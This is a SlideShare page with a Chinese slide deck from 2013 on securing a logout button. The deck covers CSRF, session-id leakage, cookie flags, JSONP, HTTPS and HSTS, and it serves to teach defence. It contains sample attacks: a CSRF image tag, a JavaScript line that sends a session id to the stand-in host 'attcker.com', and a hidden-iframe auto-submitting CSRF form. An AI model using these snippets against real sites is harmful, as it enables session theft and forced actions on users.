Ce diaporama a bien été signalé.
Nous utilisons votre profil LinkedIn et vos données d’activité pour vous proposer des publicités personnalisées et pertinentes. Vous pouvez changer vos préférences de publicités à tout moment.
如何实现登出按钮? 
LI Daobing 
2013-12-06 
Shanghai
简单 
<a href=“/logout”>登出</a>
如果我在天涯的帖⼦子加上如下⼀一段会发⽣生什么? 
<img src=“http://www.qiniu.com/logout” />
加上 session id, 你就没法攻击了吧 
<a id=“logout” href=“/logout?s=abc123”>登出</a>
⼩小⼼心⺴⽹网站上的恶意 JS 
sid = $(“#logout”).attr(“src”); 
$(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$ 
(“body”)...
为什么放在 Cookie 中的 session id 没有这个问题
因为他设置了 HTTPOnly 
但你的⺴⽹网站可能没有设置
好吧我决定改⽤用 POST 了 
<form action=“/logout” method=“POST”> 
<input type=“submit” value=“登出”> 
</form>
<!— attack1.html —> 
<form action=“http://qiniu.com/logout” method=“POST”> 
</form> 
<script>$(“form”).submit()</script> 
...
为什么要放到 iframe ⾥里边,直接在 
fakepage.html ⾥里边跳转不⾏行么?
那样会让 fakepage.html 跳转到你的登 
录⻚页,⽤用户会察觉到被攻击了 
我们更喜欢悄悄地攻击
我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转
很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 
除⾮非你主动打开跨域允许
好吧,你说该如何写?
<form action=“/logout” method=“POST”> 
<input type="hidden" name="csrf_token" value="abc123"> 
<input type=“submit” value=...
这样写很烦,有没有简单的⽅方案?
你可以⽤用 jquery_ujs.js 
<a href="/logout" data-method="post">登出</a>
我看了⼀一下我的框架,好像没有 
CSRF ⽀支持,我该怎么办?
你可以检查 referer, 判定 POST 请求是否来⾃自本站 
但部分浏览器⽀支持不好,⽐比如 Opera 9.x
我想到⼀一个问题,如果我⽤用 JS 把你的 
⺴⽹网站下载过来,取出 csrf_token, 是不 
是就可以继续⽤用刚才 iframe 的攻击⼿手 
法了?
很遗憾,浏览器禁⽌止你⽤用JS访问 
其他⺴⽹网站,并且分析其结果
你弄错了吧,我⽤用过 Google 站内 
搜索 JS,我就是从 Google 拿到数 
据,⾃自⼰己分析,让后呈现的
这个技术叫 JSONP,其实你没有拿到 
google返回的数据,只是 google 返回的数 
据是⼀一份 JS, JS 中包含你⽤用来处理数据的 
函数⽽而已 
等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: 
<script src=“ht...
也就是说必须 Google ⽀支持我才 
能⽤用JSONP对吧? 
⾖豆瓣的数据很爽,可惜不⽀支持 
JSONP, 是不是就不能⽤用了
你可以通过服务器中转
懂了,这样好像还更灵 
活,那 JSONP 还有什么 
意义?
1. 那些需要⽤用户登录后才能拿到的资料⽆无 
法通过服务端中转实现 
2. JSONP 不需要服务端编程。
回到登出这个问题,是不是我 
⽤用你的⽅方法就完美了?
还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听
这个我懂,是不是加上 https ,然后 
所有 HTTP 请求重定向就可以了?
回到最开始的攻击⼿手法,这个情况下窃听者 
就可以拿到你的 session id 
<img src=“http://www.qiniu.com/logout” />
Damn It, 有什么解决办法?
看⻅见下图右边的 Secure 没有,他表 
⽰示这个Cookie只能通过https传递
还有什么其他需要注意的?
⼩小⼼心恶意中间⼈人
是不是我弄好证书就可以了?
好的证书是第⼀一步(不要像 12306 学习), 
你还得⼩小⼼心 SSL Stripping Attack 
⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会 
主动加上 https, 恶意中间⼈人就可以在这个时 
候代理⽤用...
还有什么需要注意的,你⼀一次性说了吧
• 要禁⽤用 SSLv1 
• TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 
启⽤用 TLS 1.1, 1.2, 并且关闭 RC4 
• 有 https 的域名不要开放邮箱申请 
• session id 要⾜足够⻓长,避免 CR...
完了吗?
你还要⼩小⼼心 XSS, </script>, 宽字符, 
clickjack, frame, content-type, 社会 
⼯工程学攻击
我放弃了,我还是继 
续去做⽕火箭吧 
⾄至少我还不⽤用去考虑 
外星⼈人的攻击 
Falcon, 我来了 
42
⾄至少听我总结⼀一下吧 
1. 需要正确使⽤用 GET/POST 
2. 需要知道如何防范 CSRF 
3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 
4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正...
Q&A?
如何实现登出按钮
Prochain SlideShare
Chargement dans…5
×

如何实现登出按钮

1 047 vues

Publié le

如何实现登出按钮

Publié dans : Internet
  • Soyez le premier à commenter

如何实现登出按钮

  1. 1. 如何实现登出按钮? LI Daobing 2013-12-06 Shanghai
  2. 2. 简单 <a href=“/logout”>登出</a>
  3. 3. 如果我在天涯的帖⼦子加上如下⼀一段会发⽣生什么? <img src=“http://www.qiniu.com/logout” />
  4. 4. 加上 session id, 你就没法攻击了吧 <a id=“logout” href=“/logout?s=abc123”>登出</a>
  5. 5. ⼩小⼼心⺴⽹网站上的恶意 JS sid = $(“#logout”).attr(“src”); $(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$ (“body”))
  6. 6. 为什么放在 Cookie 中的 session id 没有这个问题
  7. 7. 因为他设置了 HTTPOnly 但你的⺴⽹网站可能没有设置
  8. 8. 好吧我决定改⽤用 POST 了 <form action=“/logout” method=“POST”> <input type=“submit” value=“登出”> </form>
  9. 9. <!— attack1.html —> <form action=“http://qiniu.com/logout” method=“POST”> </form> <script>$(“form”).submit()</script> <!— fakepage.html —> <iframe src=“attack1.html” style=“width:0;height:0”> </iframe>
  10. 10. 为什么要放到 iframe ⾥里边,直接在 fakepage.html ⾥里边跳转不⾏行么?
  11. 11. 那样会让 fakepage.html 跳转到你的登 录⻚页,⽤用户会察觉到被攻击了 我们更喜欢悄悄地攻击
  12. 12. 我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转
  13. 13. 很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 除⾮非你主动打开跨域允许
  14. 14. 好吧,你说该如何写?
  15. 15. <form action=“/logout” method=“POST”> <input type="hidden" name="csrf_token" value="abc123"> <input type=“submit” value=“登出”> </form>
  16. 16. 这样写很烦,有没有简单的⽅方案?
  17. 17. 你可以⽤用 jquery_ujs.js <a href="/logout" data-method="post">登出</a>
  18. 18. 我看了⼀一下我的框架,好像没有 CSRF ⽀支持,我该怎么办?
  19. 19. 你可以检查 referer, 判定 POST 请求是否来⾃自本站 但部分浏览器⽀支持不好,⽐比如 Opera 9.x
  20. 20. 我想到⼀一个问题,如果我⽤用 JS 把你的 ⺴⽹网站下载过来,取出 csrf_token, 是不 是就可以继续⽤用刚才 iframe 的攻击⼿手 法了?
  21. 21. 很遗憾,浏览器禁⽌止你⽤用JS访问 其他⺴⽹网站,并且分析其结果
  22. 22. 你弄错了吧,我⽤用过 Google 站内 搜索 JS,我就是从 Google 拿到数 据,⾃自⼰己分析,让后呈现的
  23. 23. 这个技术叫 JSONP,其实你没有拿到 google返回的数据,只是 google 返回的数 据是⼀一份 JS, JS 中包含你⽤用来处理数据的 函数⽽而已 等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: <script src=“http://google.com/? q=foobar&jsonp=callback"></script> ⽽而 Google 返回的数据就是 callback({result:"abc"})
  24. 24. 也就是说必须 Google ⽀支持我才 能⽤用JSONP对吧? ⾖豆瓣的数据很爽,可惜不⽀支持 JSONP, 是不是就不能⽤用了
  25. 25. 你可以通过服务器中转
  26. 26. 懂了,这样好像还更灵 活,那 JSONP 还有什么 意义?
  27. 27. 1. 那些需要⽤用户登录后才能拿到的资料⽆无 法通过服务端中转实现 2. JSONP 不需要服务端编程。
  28. 28. 回到登出这个问题,是不是我 ⽤用你的⽅方法就完美了?
  29. 29. 还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听
  30. 30. 这个我懂,是不是加上 https ,然后 所有 HTTP 请求重定向就可以了?
  31. 31. 回到最开始的攻击⼿手法,这个情况下窃听者 就可以拿到你的 session id <img src=“http://www.qiniu.com/logout” />
  32. 32. Damn It, 有什么解决办法?
  33. 33. 看⻅见下图右边的 Secure 没有,他表 ⽰示这个Cookie只能通过https传递
  34. 34. 还有什么其他需要注意的?
  35. 35. ⼩小⼼心恶意中间⼈人
  36. 36. 是不是我弄好证书就可以了?
  37. 37. 好的证书是第⼀一步(不要像 12306 学习), 你还得⼩小⼼心 SSL Stripping Attack ⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会 主动加上 https, 恶意中间⼈人就可以在这个时 候代理⽤用户把请求发到服务器, 并且窃听 到所有数据。 可以在HTTP返回头中加⼊入如下的⼀一项: Strict-Transport-Security: max-age=31536000; includeSubDomains
  38. 38. 还有什么需要注意的,你⼀一次性说了吧
  39. 39. • 要禁⽤用 SSLv1 • TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 启⽤用 TLS 1.1, 1.2, 并且关闭 RC4 • 有 https 的域名不要开放邮箱申请 • session id 要⾜足够⻓长,避免 CRIME 攻 击
  40. 40. 完了吗?
  41. 41. 你还要⼩小⼼心 XSS, </script>, 宽字符, clickjack, frame, content-type, 社会 ⼯工程学攻击
  42. 42. 我放弃了,我还是继 续去做⽕火箭吧 ⾄至少我还不⽤用去考虑 外星⼈人的攻击 Falcon, 我来了 42
  43. 43. ⾄至少听我总结⼀一下吧 1. 需要正确使⽤用 GET/POST 2. 需要知道如何防范 CSRF 3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正确 escape 5. 避免 SQL 注⼊入 6. 采⽤用⼀一些常⻅见的 HTTP 安全头
  44. 44. Q&A?

×